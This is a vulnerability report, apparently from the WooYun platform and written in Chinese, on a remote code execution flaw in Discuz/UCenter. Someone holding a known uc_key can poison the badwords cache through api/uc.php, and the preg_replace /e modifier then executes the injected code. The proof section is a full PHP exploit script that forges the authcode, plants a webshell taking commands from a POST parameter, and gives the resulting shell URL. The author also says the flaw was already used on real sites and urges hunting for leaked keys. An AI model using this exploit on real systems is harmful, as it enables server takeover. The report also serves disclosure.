### 简要描述:
http://drops.wooyun.org/papers/7830
其实这里已经说得比较明白了。
利用这个漏洞已经好些时候,包括之前腾讯的shell(http://www.wooyun.org/bugs/wooyun-2010-092923)
不过好像官方还是不太重视,特意再提一下,不用登陆后台,直接前台能利用(顺便打卡^-^)
乌云搜索uc_key会有很多惊喜哦。
### 详细说明:
\api\uc.php
```
function updatebadwords($get, $post) {
  global $_G;
  if(!API_UPDATEBADWORDS) {
   return API_RETURN_FORBIDDEN;
  }
  $data = array();
  if(is_array($post)) {
   foreach($post as $k => $v) {
    $data['findpattern'][$k] = $v['findpattern'];
    $data['replace'][$k] = $v['replacement'];
   }
  }
  $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
  $fp = fopen($cachefile, 'w');
  $s = "<?php\r\n";
  $s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
  fwrite($fp, $s);
  fclose($fp);
  return API_RETURN_SUCCEED;
 }
```
更新 uc_client/data/cache/badwords.php
再看
\source\module\forum\forum_ajax.php
```
if($_GET['action'] == 'checkusername') {
 $username = trim($_GET['username']);
 $usernamelen = dstrlen($username);
 if($usernamelen < 3) {
  showmessage('profile_username_tooshort', '', array(), array('handle' => false));
 } elseif($usernamelen > 15) {
  showmessage('profile_username_toolong', '', array(), array('handle' => false));
 }
 loaducenter();
 $ucresult = uc_user_checkname($username);
```
跟踪 uc_user_checkname
```
function uc_user_checkname($username) {
 return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username));
}
define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');
```
默认情况下
UC_API_FUNC为 uc_api_mysql
```
function uc_api_mysql($model, $action, $args=array()) {
 global $uc_controls;
 if(empty($uc_controls[$model])) {
  include_once UC_ROOT.'./lib/db.class.php';
  include_once UC_ROOT.'./model/base.php';
  include_once UC_ROOT."./control/$model.php";
  eval("\$uc_controls['$model'] = new {$model}control();");
 }
 if($action{0} != '_') {
  $args = uc_addslashes($args, 1, TRUE);
  $action = 'on'.$action;
  $uc_controls[$model]->input = $args;
  return $uc_controls[$model]->$action($args);
 } else {
  return '';
 }
}
```
继续跟综到
```
function check_usernamecensor($username) {
  $_CACHE['badwords'] = $this->base->cache('badwords');
  $censorusername = $this->base->get_setting('censorusername');
  $censorusername = $censorusername['censorusername'];
  $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
  $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
  if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
   return FALSE;
  } else {
   return TRUE;
  }
 }
```
注意到
@preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username)
两个参数都可控,即可造成命令执行。
 
### 漏洞证明:
利用脚本,3.2后要加上 formhash + cookie 绕过xss拦截
```
<?php
    $timestamp = time()+10*3600;
    $host="www.host.com";
    $agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");
    $uc_key="uckey";
    $code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key));
   
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
 <item id="0">
  <item id="findpattern">/admin/e</item>
  <item id="replacement">@preg_replace(chr(47).chr(47).chr(101),$_POST[c],chr(098));</item>
 </item>
</root>';
   /* $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root></root>'; */
    $html1 = send($cmd1);
    echo $html1;
    
    
function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    
    $resp = '';
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    
    return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}
?>
```
提交后,shell地址为:
http://127.0.0.1/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=admin 
 
                       
                       
        
          
暂无评论